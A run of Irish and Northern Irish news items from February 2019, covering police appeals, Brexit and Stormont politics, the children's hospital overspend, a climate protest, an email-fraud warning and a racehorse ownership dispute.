"Council wishes to reassure visitors that this is an extremely rare incident and more staff will continue to be deployed to cover changing rooms."

PSNI Inspector Michelle O'Neill said: "Police in Ballymena are investigating an incident reported to have taken place in the changing rooms of the local swimming pool on Monday, February 4.

"As part of our enquiries we will be reviewing CCTV footage. Anyone who was using the facilities between 11am and noon and could assist can contact us on 101 quoting reference 1093 04/02/19."The icons of social media apps, including Facebook, Instagram, YouTube and WhatsApp, are displayed on a mobile phone screen, in London.

The use of social media and technology has become a common problem in Irish marriages, suggests new research.

Accord Catholic Marriage Care Service believes constant access to technology has removed the cooling off period following a domestic argument.

Research conducted in Maynooth of over 3,000 clients over two years found that both men and women agreed that social media and technology behaviour caused difficulties in marriages and relationships.

Accord said it is now tailoring its service to deal with the issue following feedback from couples.

Bishop Denis Nulty, Bishop of Kildare & Leighlin, and president of Accord, said: Social media is a huge issue. Pope Francis spoke about this at Croke Park and we need to be digitally conscious.

As we shape our marriage preparation courses in the future, we'll be taking this into considerationBishop Denis McNulty

Were dictated by gadgets so being clued-in is important.

On the lack of a cooling-off period he added: When you send a text, a tweet or a Whatsapp message, theres no way of pulling it back, and it causes huge heartache for everyone involved.

As we shape our marriage preparation courses in the future, well be taking this into consideration.

We have a low divorce rate in Ireland, and I would like to keep it low. I have no doubt people in Ireland still take marriage very seriously.

16,048 individuals attended its marriage preparation courses across the island of Ireland in 2018, down almost 800 from 2017.

Separately, Accord counsellors provided 24,180 counselling sessions to individuals and couples during 2018 throughout Ireland, north and south. This figure is also lower than 2017, which saw 26,946 people attend counselling.

The bishop attributes some of the drop in figures to couples attending different private counselling services.

Other common problem areas from clients attending Accord counselling included unresolved arguments, inappropriate behaviour during arguments and satisfaction with their sexual relationship.

It said 75 per cent of clients whose data was reviewed rated their relationship as improved after counselling.Hundreds of school children have taken to the streets of the capital calling on the Government to take action on climate change.

Primary school children from across the country skipped classes to protest outside the gates of Leinster House in Dublin on Wednesday.

The kids carried hand-made banners, some of which read Theres no Planet B and Save our Planet, and they chanted: What do we want? Climate action. When do we want it? Now.

The demonstration was organised by sixth-class students from Donabate Portrane Educate Together in Co Dublin with support from their sixth-class teachers.

Donabate Portrane Educate Together teacher Jenny Stanley said the students were extremely excited about the protest.

They sent letters to different politicians, they made a promotional video, and they wrote a letter to the principal informing her that they wont be coming into school  not asking her permission [but] informing her, she said.

Ms Stanley said the children were inspired by Swedish teenager Greta Thunberg who staged a series of strikes over climate change at her school.

Her action has spurred children across Europe to take action.

Last month 35,000 students took to the streets of Brussels to demonstrate over climate change.

What they really want is for the Government to take climate action seriously and change their policies around climate change, she said.

Ms Stanley said the children were delighted that so many other schools had joined them and that politicians came out of the Dail to listen to them.

I cant describe how proud we are of them. Theyre an inspiration. Theyre a credit to their generation and I really think theyll look back on this day and say my voice was heard and I made a change. I think thats very important.

Students from Our Lady of Consolation in Donnycarney, north Dublin, were among the crowd with their teacher Nell Mercier.

Ms Mercier, who teaches first-class, said: The kids felt they wanted to get involved because theyll be the ones dealing with the consequences of climate change and its their world. They feel the Government isnt doing enough and theres not enough changes happening in Ireland at the moment, she said.

Ms Mercier said that the kids were more passionate that most adults about the issue.

Theyre very much aware. It does show how concerned they are about it and how much they know its affecting them, she said. I was completely inspired by them about it, she said.

She added that teachers were hugely proud of the kids.

I was in tears today, when they rocked up with all their posters and their opinions. They had such energy. It was really emotional, she said.

Senator Alice Mary Higgins said she was delighted to see such young Irish children getting involved and coming out in solidarity with other children across Europe who are trying to make a difference.

I know theyre young but they have a real sense of the urgency, and they have a sense of realism about the timescale of how precious what were losing is and how speedily we need to act, she said.

Ms Higgins said climate action was a necessity, not a luxury.

Theres frustration in these marches but theres also a real love for the environment which is coming across from young people, she said.

Theyre recognising it as something very, very precious.Irish President Michael D Higgins addresses a business lunch with state agencies at the Hilton Hotel in Liverpool (Danny Lawson/PA)

Irelands president will discover Liverpools links to the country as he spends the final day of his visit to England in the city.

Michael D Higgins started his three-day trip with a day of engagements in Birmingham on Monday, before spending Tuesday in Liverpool.

aLiverpool has been the gateway through which hundreds of thousands of Irish people have passed.... It is a very warm city. A very Irish city. And it remains that.a pic.twitter.com/5TH3coFkAn  President of Ireland (@PresidentIRL) February 12, 2019

On Wednesday, he and wife Sabina are due to meet members of the Irish diaspora at the Liverpool Irish Association headquarters, before visiting the citys Central Library where they will view material of Irish interest, including documents relating to those who fled from the Great Famine.

They will then visit the Liverpool World Museum where they will see artefacts which reflect the citys history as a port with significant Irish and other migratory influences.

On Tuesday, the President called for the warm relationship between Ireland and the UK to survive whatever the outcome of the Brexit odyssey as he addressed a business lunch.

President Higgins and the Prince of Wales are joint Patrons of the Institute of Irish Studies.



The Institute was formed in 1988, as part of the 1985 Anglo-Irish agreement to encourage greater understanding between the UK and Ireland.https://t.co/DMyZK2bDLy pic.twitter.com/qrsois2vmv  President of Ireland (@PresidentIRL) February 12, 2019

Earlier in the day, he and wife Sabina renewed their friendship with the Prince of Wales and Duchess of Cornwall when the foursome visited Liverpool Universitys Institute of Irish Studies.

At the start of his visit, the President gave a speech at Birmingham Town Hall in which he said the dark days of the UK and Irelands relationship were behind us.

Paying tribute to the 21 people who lost their lives in the 1974 Birmingham pub bombings, Mr Higgins said:The relationship between Ireland and the UK is now one of co-operation, strength and friendship.

The President and Mrs Higgins are due to depart for Dublin later on Wednesday.The new National Childrens Hospital at St James Hospital in Dublin (Brian Lawless/PA)

The Minister for Health has sincerely apologised over an answer he gave to the Dail about the overspend at the National Childrens Hospital project.

Simon Harris apologised for information he gave about the costs, admitting he should have answered it more fully.

He told the Dail on Tuesday he was not in a position to give commercially sensitive figures at the time.

It has never been my intention to mislead the Dail, he said.

I should have added further detail to inform that a process was ongoing to find out the cost and that updated costs would be known when that process concluded.

Expand Close Work continues at the site of the new National Childrens Hospital (Brian Lawless/PA) PA Wire/PA Images / Facebook

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I sincerely apologise for not doing this and I specifically apologise to Mr (Barry) Cowen who tabled the question.

I have always tried to approach my work in this house, especially as Health Minister, in a collaborative way.

The estimated cost of the new hospital, on the campus of St Jamess Hospital in Dublin, has risen from an original estimate of 650 million euro to more than 1.7 billion euro.

The minister said an inquiry set up to assess the overruns will provide a report by the end of next month.

Mr Harris added: It will not be found wanting when it comes to acting against any entity or any company if errors were made.

Lessons must and will be learned and Cabinet took a number of decisions in that regard today.

Taoiseach Leo Varadkar said that he understands tax payers have been left annoyed that costs of the project has escalated.

An anaemic non apology from Minister Simon Harris is this govt's version of accountability. A joke. A bad joke. An expensive -a450 million - joke.  Mary Lou McDonald (@MaryLouMcDonald) February 12, 2019

It is a case of government and our agents underestimating the cost of this project and we have to accept responsibility and be accountable for that, he added.

Leader of the opposition party Micheal Martin said it was a remarkable increase of costs.

Speaking during leaders questions, he said: Are we to seriously believe the secretary generals of finance and health had no discussions about this between August and November last year or indeed that the two ministers didnt.

Because if that is the case then that raises fundamental issues in terms of the governance and competence and management of the budgetary process itself.

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Was it a case this project was too big and politically you invested too much and it was too late to stop and too late to relocate, but it seems there was an extraordinary silence across Government on this over a long period of time.

Sinn Fein president Mary Lou McDonald said: It extraordinary to hear you again, Taoiseach, try to justify or to explain away this fiasco as if to suggest to the taxpayer its actually not such a big deal after all.

What is most extraordinary is to hear your collation partner Micheal Martin extol the extraordinariness of the situation and then resolve to back you and back your incompetent Minister for Health Simon Harris.

It crystal clear at this juncture that the Minister for Health is incapable of solving it, in fact he is part of the problem.

Fianna Fail might be prepared to sit on their hands, we wont.

Independent TD Michael Lowry said: The perception out there amongst the working people is they are questioning the misuse of public monies.

At a time when many Irish households struggle with every day costs like childcare, mortgages, rent and insurance there is a strongly held sentiment on the ground that public monies are being squandered with unnecessary layers of bureaucracy.Police have released a photo of a man wanted in connection with a burglary in north Belfast.

The burglary took place at a house on the Antrim Road around 10pm on December 3 2017.

A bank card was taken as a result of the burglary and was then used to withdraw money and to make purchases throughout Belfast.

Detective Thom Smyth appealed for anyone who recognises the man to come forward.

"We are releasing this image today to ask the individual, or anyone who knows his identity, to contact detectives at Musgrave to assist us with our investigation," he said.

"The number to call is 101. Alternatively, information can also be provided to the independent charity Crimestoppers on 0800 555 111 which is 100% anonymous and gives people the power to speak up and stop crime."Taoiseach Leo Varadkar has said he believes Irish citizens living in Northern Ireland - and other countries - should be able to vote for the next Irish president.

He said he was "strongly" believed in extending voting rights and was determined a referendum should take place in October to have laws in place for the next presidential election.

Mr Varadkar told the Dail: "Our proposal is that all citizens, no matter where they may live in the world, will be entitled to register to vote for the next president.

"They will have to register to vote. It would be a postal ballot for those not living in this state.

"It would not be linked to having a passport because a passport is a travel document and there are many people who are Irish citizens who do not have passports or whose passports may be expired.

"As a result, it will be linked to citizenship rather than possessing a passport."

Michael D Higgins was re-elected as president last year to serve a seven-year term with the next election due in 2025.

Mr Varadkar added: "While I appreciate the argument regarding no taxation without representation, I must point out that the Dail sets taxes and passes legislation which applies to people who are resident here.

"The Presidency is different. The president does not set taxes and does not make laws. I would like to see a presidency for the 21st first century that is different to that which currently obtains.

"I would like a presidency that represents the Irish nation - not just the state - and that is elected by all citizens."A Newry man has been sentenced to eight years in prison after swallowing a 30,000 diamond ring while on holiday in Turkey.

Ian Campbell (54) was sentenced to eight years and nine months for "qualified theft" by a court in Marmaris, the Demiroren News Agency report.

Mr Campbell was arrested on October 4 last year for trying to steal the 2.5 carat diamond from a jewellery store.

He swallowed the precious item whole when he feared he would be caught.

At the time, he told prosecutors he had become obsessed with diamond rings after losing his wife in a tragic accident.

"I fell into a trance when I saw the diamonds," he told the court.

"The jeweller was telling me something but I couldn't even hear him because I was in a trance.

"When I was conscious again, I found myself hiding a diamond in my pocket and I swallowed it in panic as jewellers started to search it," he said.

Prosecutors ordered police to take him to hospital to return the ring by "natural means", with the Turkish media keeping a watchful vigil.

After 36 hours without success, he consented to surgery to help return the property.

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Speaking from his hospital bed in October, the father-of-four said: "I lost my wife in a traffic accident. Her body could not be removed from the car, which fell into a lake, for days. After the accident her diamond ring, our wedding ring, could not be found despite a search operation in the lake."

He said this had sparked his obsession for diamond rings.

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"Whenever I see a diamond ring on display at jewellery shops, my wife always comes to my mind.

"I feel a strong urge to take those rings, especially the ones with higher carat diamonds."

Mr Campbell is expected to appeal against the ruling.Donald Trump Called 'The Greatest President' in Conservative Pastor's New Book

Contact: Steven Andrew,877-537-8734SAN JOSE, Calif., Feb. 13, 2019 / Standard Newswire / -- Rev. Steven Andrew has released his latest book called "The Greatest President: God Is Making You Safe, Strong, and Prosperous with President Trump - the Greatest President of Our Lifetime." In it he compares the Bible and the words of our founding fathers and how they apply to the presidency of Donald Trump.Andrew cites Trump's love of country and his constant striving to keep his promises, unlike most politicians. He shows the president's efforts to roll back the hateful anti-Christian and anti-Constitution rhetoric from previous administrations and discusses the president's executive order to minimize the Johnson amendment that stifled political discussion in churches.He discusses Trump's rejection of Globalism in favor of a strong America and then goes into a list of the president's accomplishments in restoring our economy, including fostering fair trade and cutting red tape. Andrew quotes passages from the Bible that show "Turning away from God causes disfavor and economic downturns" and honoring God leads to prosperity."We observe God working through President Trump in many other ways to make the USA strong again, such as uniting people in American values, rebuilding the nation's infrastructure and military, calling for respect of the USA's flag and opposing communism and tyranny," Andrew said.He talks about the Biblical foundation for compassion for the unborn, and the need to overcome terrorism and secure our borders. Andrew concludes with a discussion of why pastors all over the country should tell their congregations how President Trump is helping Christians. Andrew says, "An amazing thing is happening; as people reaffirm covenant that the USA serves the Lord, God works through President Trump! If you want to keep 'winning,' then this book is for you!""The Greatest President" is available in a special, keepsake color paperback (ISBN 9780960014903) and ebook (ISBN 9780960014910).About Steven AndrewSTEVEN ANDREW, an inspirational pastor, has reached over 80 million people for Jesus Christ. He follows in the steps of the founding fathers by leading the USA to reaffirm covenant with God to save the nation. Andrew leads One Million Americans on the Lord's Side, with America's top Christians. To save millions of lives, he works with Christians and pastors nationwide and teaches God's answers to life's most perplexing challenges.Police officers have been caught out in the scam.

A Northern Ireland business has been defrauded of 36,000 over what police described as a "clever email fraud".

Police in Foyle said as well as the latest report they had come across similar fraudulent activity in relation to mortgage deposits - which could potentially see people lose out on thousands and home sales fall through.

They outlined how fraudsters are able to trick companies out of money in a method they said had also caught one serving police officer.

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Essentially they hack into accounts of, for example, estate agents and finance companies and watch over emails until one pops up about making payments.

"They will then create a near identical but false account," the police officer said.

That false email account may look near identical with the same logos and names used but small details will be changed in the address such as by swapping out a letter 'o' for a zero.

"You carry on the conversation and it will give a bank account number. This inevitably goes to the fraudsters bank account which is immediately plundered and closed," the police officer added.

Police advised anyone to never send money through email but if its required to check and re-check details before processing and to be immediately suspicious if a request is made to send money to a new account.

The officer added that he knew of a colleague which had been defrauded in a similar way.

FRAUD ALERT A business yesterday reported losing 36,000 to a clever email Fraud. As well as commercial victims we have... Posted by Police Derry City & Strabane on Tuesday, February 12, 2019The file against a Co Down man accused of raping his baby son is with a senior prosecutor for consideration, a judge has heard.

Deputy District Judge Steven Keown also heard from the PPS that while a report from a consultant paediatrician has been received, "there are some outstanding medical statements... and the directing officer has highlighted the prospect of further expert evidence."

Appearing at Newry Magistrates Court via videolink on Wednesday the 25-year-old defendant, who cannot be named to protect his alleged victim, is charged with sexually assaulting his two-week-old son on September 29 last year and with inflicting grievous bodily harm on the baby with intent.

The court previously heard how the child was found with broken ribs and thigh bones and was taken to hospital with unexplained injuries including a brain haemorrhage, a number of broken bones, traumatic bruising and bleeding.

The defendant denies sexually assaulting the infant and an unsuccessful bail hearing at the High Court heard how he claimed he may have unintentionally hit the childs head on a wall while "tired and frustrated".

The High Court also heard claims police allegedly discovered extreme pornographic material and indecent images of children on a phone linked to the accused.

In court on Wednesday, the prosecution asked for the case to be adjourned for four weeks but said despite the outstanding reports and statements, "it is hoped that a decision can be taken before these are submitted".

Remanding the alleged rapist back into custody to appear again on March 13, Judge Keown said that in the best occasion he wanted to be updated regarding "progress towards a decision and hopefully fix a PE date."Police have said that a man shot dead while waiting to pick up his son outside a west Belfast school had a "number of enemies".

Jim Donegan was shot dead outside St Mary's Grammar School and Christian Brothers School on the Glen Road on December 4, 2018.

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Detective Chief Superintendent Raymond Murray has told the BBC that the murder weapon was a semi-automatic pistol.

He would not say if the gun was connected to any other murders as he didn't want to tip off those involved.

Expand Expand Expand Expand Expand Expand Previous Next Close Funeral for Jim Donegan at St John the Evangelist on the Falls Road, Belfast Funeral for Jim Donegan at St John the Evangelist on the Falls Road, Belfast Funeral for Jim Donegan at St John the Evangelist on the Falls Road, Belfast Jim Donegan's funeral in west Belfast. Jim Donegan's funeral in west Belfast. Jim Donegan's funeral in west Belfast. / Facebook

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Whatsapp Funeral for Jim Donegan at St John the Evangelist on the Falls Road, Belfast

Detective Chief Superintendent Murray said that police had gathered information after examining bullet heads and cartridges discovered at the murder scene.

His comments come after retired Scotland Yard officer John Devitt raised questions about the PSNI investigation.

A number of colleagues who worked in the same industrial complex in Drumbo as the father-of-two expressed surprise that they had not been interviewed.

Expand Close EvoFit image of the man suspected of murdering Jim Donegan / Facebook

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Whatsapp EvoFit image of the man suspected of murdering Jim Donegan

Detective Chief Superintendent Murray said that police visited the area "within hours" of Mr Donegan's murder, spoke with one member of staff and obtained CCTV footage.

"There are thousands of people in an enquiry, we cannot speak to them all, so we have to choose where we put our resources," he said.

"Our message is out there, if somebody had information elsewhere then they can pick up the phone and contact us and we will go to them."

He said that there were a number of people with a motive for Mr Donegan's murder.

"There are a number of different groups and people who may have had an adverse interest in Jim Donegan, who wanted to hurt him," Detective Chief Superintendent Murray said.

"They're all out there and they're all listening to every word I say and they're all trying to work out 'where are they, are they close, are they far, have they got the right people, have they not?'

Expand Close Police at the scene where Jim Donegan was shot dead on the Glen Road in West Belfast in December. / Facebook

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Whatsapp Police at the scene where Jim Donegan was shot dead on the Glen Road in West Belfast in December.

"I'm sorry, we're not going to educate them in that matter."

Detective Chief Superintendent Murray said he did not want to discuss speculation that Mr Donegan was involved with drugs, but said that he was known to police.

"Mr Donegan was known to the police, but I'm not going to go into the details of how he was known to the police," he said.

"The direction that we are taking, the focus - the absolute ruthless focus - that we have in our lines of investigation are beginning to put a story together."An elderly woman has died almost a month after being struck by a car close to her home in Co Down

An elderly woman has died almost a month after being struck by a car close to her home in Co Down.

The woman, named locally as Maureen Maddock (87), had been rushed to hospital with serious injuries after being struck by a car while exiting a Spar forecourt on the Bangor Road, Newtownards on January 17.

Police confirmed yesterday that Ms Maddock had died as a result of her injuries.

It is understood Ms Maddock had just left the shop when she was struck by the vehicle. A man aged in his 50s was arrested by police and later released on bail.

Extending his sympathies to Ms Maddock's family, DUP MP for Strangford, Jim Shannon said: "It is with sorrow that I learned of this lady's passing and I extend sincere sympathy to her family at this time.

"I was shook when I heard the news and to learn of her passing almost a month later is difficult.

"Her family and friends will be in my thoughts and prayers in the days ahead."Civil Service chief David Sterling said the situation cannot be allowed to go on much longer..

The head of the Northern Ireland Civil Service has warned that the lack of an Executive at Stormont is at risk of becoming the "new normal" for citizens.

Senior civil servants have been running day-to-day department business since the collapse of the Executive more than two years ago, however major policy decisions can only be made by elected ministers.

Speaking to the BBC, Civil Service chief David Sterling said the situation cannot be allowed to go on much longer.

"My concern would be that in the ongoing absence of ministers people would get used to this, they will think it's okay when it isn't and there's a risk that this could become the new normal - and that would not be good," he said.

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In the absence of an Executive, the authority of civil servants to make decisions normally reserved for ministers has been challenged, most notably by a High Court judge in relation to a proposed waste facility in Co Antrim.

In May last year, a High Court judge ruled that Department for Infrastructure official Peter May did not have the authority to approve plans to build a 240m waste incinerator in Mallusk.

David Sterling said that "major transformation" is needed in various sectors across Northern Ireland, such as healthcare, where a major challenge has been rising hospital waiting times.

"We haven't had a cliff edge moment where public services have collapsed, if you like, but we have seen is a slow decay and stagnation in our public services," he added.

Mr Sterling also said changes to the education system are needed, however because decisions in the sector are "sensitive politically", it is "only right that those difficult decisions are taken by democratically elected and accountable ministers".

He also had dire warnings for housing in Northern Ireland, stating that if "big issues" are not addressed some of the province's social housing stock may need to be "mothballed".During an urgent question in the House of Commons, Karen Bradley was asked whether she would consider introducing full direct rule.

The Secretary of State for Northern Ireland has refused to rule out implementing direct rule amid the current political stalemate.

Northern Ireland has been without a functioning Executive since the collapse of the power-sharing institutions in January 2017.

During an urgent question in the House of Commons, Karen Bradley was asked whether she would consider reverting to Westminster rule for the benefit of the public, however she did not answer the question directly.

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Former Northern Ireland Secretary Owen Paterson said there was a need for "political direction".

"There comes a point where I think we are responsible for the lives of citizens in Northern Ireland," he added.

"And I ask the Secretary of State, although very reluctantly, has she begun to consider taking powers back into this House, for what one would hope would be a brief period, to deliver public benefits?"

Ms Bradley said she "shares his exasperation that the parties have been unable to come together to find an agreement".

"My priority is finding that basis, finding the way for the parties to come together, because there is no good, long term, sustainable way that decisions can be made for the people of Northern Ireland except if locally-elected politicians make them," she added.

There is nothing the people of Northern Ireland deserve more, than the politicians they elected locally, making decisions on their behalf. Karen Bradley

Labour's shadow Northern Ireland Secretary Tony Lloyd said the shutdown of the Assembly meant a "failure of political decision-making", which has seen health standards fall and stated patients are being "let down and ultimately people will die earlier".

He said it is having an impact on education as well as policing, but said the biggest area of concern is "reconciliation", and the having the institutions in place after the Good Friday Agreement so that could happen.

Mr Lloyd finished by saying "the country is at a crossroads", and unless a way forward could be found "this House will have to start making those decisions", acknowledging this was not what either side wants.

Ms Bradley replied: "There is nothing the people of Northern Ireland deserve more, than the politicians they elected locally, making decisions on their behalf."

But she again avoided the issue of whether the UK Government at Westminster would need to take control of the running of Northern Ireland services.DUP leader Arlene Foster with the partys 10 MPs outside the Houses of Parliament in London.

DUP MP Gavin Robinson played down a suggestion of any split in the party over its Brexit stance.

On Wednesday morning, the former chairman of the South Belfast DUP David Cather - who favours remaining in the EU - said DUP Brexit spokesman Sammy Wilson's hard line on the issue risked taking the party towards a no-deal situation suggesting the East Antrim MP had too much power in steering party policy.

Mr Robinson rejected his suggestion.

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He told the BBC: "As a party we have a collective position and Sammy has been our Brexit spokesman for a number of years.

"I listened to David this morning. I think he is absolutely right to indicate that the party's position was that on balance they would recommend a leave vote but recognise just as with many families, streets and communities in Northern Ireland people would have varying views.

"It is also right to say that was the decision prior to the decision to leave the European Union. Once the decision was taken we have had a unified voice."

The East Belfast MP - asked if they would support Theresa May in her deal should there be a time-limit on the backstop - said the "fundamental objections" his party had over the withdrawal agreement and in particular the back stop would remain if they were not addressed by the Prime Minister in her negotiations with the EU.

Once the decision was taken we have had a unified voice.

The MP, when pressed, would not rule out a no-deal Brexit should Theresa May fail to secure Commons support, saying it "took two to tango" and a no deal would be the result of the talks with the EU. He said a no deal was something that he did not think would happen.

"No deal is not something that would ever get a vote in parliament. A no deal arises when there has been a failure to reach agreement."

David Cather said he was one of a small number of DUP members who favoured remaining in the European Union with the vast majority all Brexiteers. He said there was possibly "some big names" who did not want the hardest possible Brexit.

"It does disappoint me, it has been a frustrating couple of years to be in the party," he said.

"I think that the people who really want to leave have been given too much control over the direction. Sammy Wilson does seem to be steering it.

"When we announced our position on the referendum our leader's statement sounded like we would be a broad church and there would be different opinions within the party. That never really materialised and suddenly we ended up taking out adverts in London, which was a very surprising move."

He added: "I agree with Arlene Foster, she said the important thing is we don't break up the United Kingdom and she seems open to either a soft deal or hard deal which achieves that."

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Prime Minister Theresa May relies on a confidence and supply agreement with the party to keep her in power, which has handed the DUP significant influence on Brexit negotiations.

Alongside Tory Brexiteers, the party oppose the backstop plan, designed to prevent a hard border in Ireland. The DUP believe it will create a trade border in the Irish Sea and could leave Northern Ireland tied to the EU indefinitely.

The issue has been a repeated sticking point in Brexit negotiations, with Mrs May vowing to secure changes to the backstop ahead of Brexit on March 29.A DUP member has said that MP Sammy Wilson should not be allowed to dictate the party's position on Brexit.

Former Chairperson of the South Belfast DUP David Cather said that Mr Wilson's hard line on Brexit risked steering the party towards a no-deal situation.

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The East Antrim MP is currently the party's Brexit spokesperson.

Mr Cather said that he was one of a small number of DUP members who favoured remaining in the European Union.

The DUP campaigned for Leave in the EU referendum vote and the party's stance has hardened since the referendum result.

Prime Minister Theresa May relies on a confidence and supply agreement with the party to keep her in power, which has handed the DUP significant influence on Brexit negotiations.

Alongside Tory Brexiteers, the party oppose the backstop plan, designed to prevent a hard border in Ireland. The DUP believe it will create a trade border in the Irish Sea and could leave Northern Ireland tied to the EU indefinitely.

The issue has been a repeated sticking point in Brexit negotiations, with Mrs May vowing to secure changes to the backstop ahead of Brexit on March 29.

Mr Cather told BBC Radio Ulster he had been working to change minds in the DUP on Brexit, but admitted that he had not been making any progress.

"It does disappoint me, it has been a frustrating couple of years to be in the party," he said.

"I think that the people who really want to leave have been given too much control over the direction. Sammy Wilson does seem to be steering it.

"When we announced our position on the referendum our leader's statement sounded like we would be a broad church and there would be different opinions within the party. That never really materialised and suddenly we ended up taking out adverts in London, which was a very surprising move."

The DUP member, who has never held elected office, said that he believed a no-deal Brexit could be avoided.

"Theresa May seems to be running the clock down towards a black and white choice (between her deal and no deal)," Mr Cather said.

"Sammy Wilson's choice, I think, would be no deal. I think we probably shouldn't let him set that for the ten MPs at Westminster.

"No deal is the worst case scenario, the backstop is not a good deal either. Now is the time to be pushing for the natural majority in the House of Commons, for a customs union deal."

Mr Cather said that he believed there were others in the party who supported his position.

"It's a small minority, the party is overwhelmingly in favour of Brexit. I think there's a sensible number of people in the party who perhaps don't want the hardest possible Brexit," he said.

Mr Cather said that he suspected that included "some big names", but could not say who.

"It's possible to be in a political party and not agree with them on everything. It's an issue that will pass, we won't always just be talking about Brexit. Kenneth Clarke and Jacob Rees-Mogg on either wing of the Conservative Party don't really agree with Theresa May's line but they remain Tory MPs," he said.

"I don't really think you have to leave a political party just because you disagree with them on a political issue.

"Nobody has pulled me to one side and said you've got to stop doing this, everyone imagines political parties have this 'Gestapo' in the background that goes around dealing with dissenters."

He said that his own view was that remaining in the customs union was the best solution.

"I agree with Arlene Foster, she said the important thing is we don't break up the United Kingdom and she seems open to either a soft deal or hard deal which achieves that," Mr Cather said.

"I think that sensible heads in the party, my view is that we should stay in the customs union. I think there's a majority for a customs union deal and I think it removes the problem of a border down the Irish Sea or at Newry and Strabane."The DUP is calling for an investigation into the failure of two Sinn Fein MPs to declare trips to Venezuela.

East Londonderry MP Gregory Campbell accused the party of hypocrisy given its previous criticism of others on the same issue.

But Sinn Fein hit back and said that unlike Ian Paisley's foreign trips, Sinn Fein politicians hadn't been taking luxury holidays. It dismissed DUP sermonising on integrity as "laughable".

Sinn Fein attended the inauguration of Nicolas Maduro as Venezuelan President last month.

Newry and Armagh MP Mickey Brady visited Venezuela for a congressional election in July 2017 and South Down MP Chris Hazzard was there for a presidential one in May 2018. Mr Campbell, who raised the issue in the House of Commons yesterday, said: "Mickey Brady MP and Chris Hazzard MP were observers at a sham election - one which blocked bona fide international observers.

"Sinn Fein representatives have become cheerleaders for a corrupt regime. They stand alone in supporting him while other presidents and countries, including the Irish Government, have backed the opposition leader."

Mr Campbell continued: "The Standards Commission needs to investigate why these trips were not declared. This issue poses yet more questions for the Sinn Fein leadership to deal with."

Mr Campbell said Sinn Fein had repeatedly lectured others on integrity and transparency. "It now appears that two of their MPs who refuse to take their seats, but do take parliamentary costs, travel and accommodation, have failed to register trips sponsored by foreign regimes," he said.

"Not taking a seat does not exempt them from parliamentary standards and rules. The 'do as I say, not as I do' policy continues and the irony is not lost. I have made the Parliamentary Standards Commissioner aware and have asked for an investigation."

But Mr Brady dismissed the DUP MP's claims, saying: "Unlike Ian Paisley, these were not luxury holidays." He said that the Sinn Fein representatives had received no payment and no personal gain.

"Comments about integrity from the DUP are laughable in the context of the RHI scandal, Red Sky and Nama," he added.

The two Sinn Fein MPs travelled to Venezuela as members of delegations of international observers including journalists, diplomats, trade unionists, US politicians, academics and economists.

The cost of their travel was met by CNE, the Venezuelan National Electoral Council. The Sinn Fein politicians did not receive any remuneration.

Meanwhile, SDLP MLA Justin McNulty has slammed Sinn Fein's decision to attend President Maduro's inauguration and said it was "beyond comprehension" that any political party claiming to be democratic could do so.

"More than 20 other nations have branded Mr Maduro's presidency as illegitimate. How can Mary Lou McDonald seriously countenance her party representatives travelling to Venezuela to celebrate a man who is making life for his people a living hell?" he said.

"What is worse is that Venezuela covered the cost of Sinn Fein's attendance, yet President Maduro won't even allow humanitarian aid into the country for citizens who are caught up in an economic crisis of his making."

But Mr Brady accused Mr McNulty of "deflection politics" given the current turmoil in the SDLP. "Sinn Fein refuse to condone any violations of democratic or human rights being perpetrated by any side within Venezuela, or attempts to foment anti-democratic activity or violence in the country by outside regional forces," he said.After having been announced that the 2018 Hambletonian-winning mare Atlanta is up for sale via public auction, behind the scenes information regarding the reason for the sale has now reached the industry.

The Rick Zeron-trained Atlanta was listed on an online auction website on Tuesday night (Feb. 12) with a starting bid of $500,000. As of press time for this article (3:00 p.m., Feb. 13), a bid of $775,000 had been placed for the talented mare. Bidding is scheduled to close on Friday (Feb. 15) at 1:00 p.m.

According to the listing, Atlanta is "selling to the highest bidder due to a true partnership dispute" with current owners listed as Rick Zeron, Crawford Farms, Holland Racing Stable, Howard Taylor and Brad Grant. On January 9, the Alcohol and Gaming Commission of Ontario issued Zeron a fine of $10,000 and suspension of 180 days, which he has since appealed. The owners statement on the online auction website states that, "After a well-deserved vacation, she (Atlanta) is back jogging at Sunshine Meadows in south Florida as she prepares for her 2019 campaign." The statement went on to explain that the now-four-year-old Chapter Seven mare is "staked to the world."



Atlanta, pictured winning the 2018 Hambletonian

A subsequent article by harnessracing.com has shed light on the situation behind the sale. Brad Grant and Howard Taylor spoke with the publication and confirmed that Atlanta is indeed being sold by the owners to dissolve the partnership.

Atlanta was purchased as a yearling for $60,000 by Zeron, Holland Racing Stable, Howard Taylor and Brad Grant as equal 25-per-cent partners. Early last year, unbeknownst to the other partners, Zeron sold most of his interest to Crawford Farms, and retained only a five-per-cent interest in Atlanta.

In the harnessracing.com piece, Grant has said that the partnership has a five-per-cent partner that has to go, and that the only way to do it, since he thinks he owns and controls the horse and the rest of us are along for the ride, is to put her up for auction. And its an absolute shame.

Hambletonian champion Atlanta, the first filly to capture the Hambletonian in 22 years with her 2018 victory, won eight races and more than $1 million this past season. The daughter of Chapter Seven - Hemi Blue Chip never finished worse than third as a sophomore, and along with her coveted victory in the Hambo added wins in the Kentucky Filly Futurity, her Breeders Crown elimination, Empire Breeders Classic elimination and final and two New York Sires Stakes events to her resume. Atlanta will receive the Dan Patch Award as 2018's Three-Year-Old Trotting Filly of the Year in the U.S on February 23.

Atlanta is currently with Zeron at his winter base at Sunshine Meadows in Florida. On Tuesday (Feb. 12), under the instruction of the 95-per-cent partners, trainer Tony Alagna went to Zerons barn and brought Atlanta back to his stable at Sunshine Meadows. Later on Tuesday, Zeron came and took back Atlanta.

Ninety-five per cent of the ownership group wanted the horse moved, Grant explained of the decision to move the filly to Alagna. Rick cant train the horse and race at (Woodbine Mohawk Park), he cant race at the Gural group of tracks. This mare has a lot of races at those two venues (Mohawk and Meadowlands).

We moved her to Tonys barn and then Rick just came and got her. I told Tony dont get into a confrontation. I just have a hard time understanding how a five-per-cent owner can get away with what hes doing. Tony got the horse on the direction of the 95-percenters.

According to Grant and Taylor, Zeron offered to sell his five per cent interest for $200,000. They declined, noting that the price would value the mare at $4 million.

We couldnt agree on a buyout, so well see what the market brings, said Taylor, noting the possibility of a breeding syndicate or European syndicate making a big bid. My hope is to stay in (retain ownership), but if she brings enough, I guess I will sell.

Grant agrees with Taylor.

Im not going to let her go cheap, said Grant. Four of us want to stay in, and depending on how it goes, I indicated to the partnership Id like to keep the partnership going. Weve agreed that if there is a (certain) price well stay in. If it goes beyond that, then good luck to the next one.

Grant said against the partnerships wishes because of the uncertainty of ownership, Atlanta was fully staked this year by Zeron. Grant said the stakes payments are all pending, depending on the outcome of the auction.



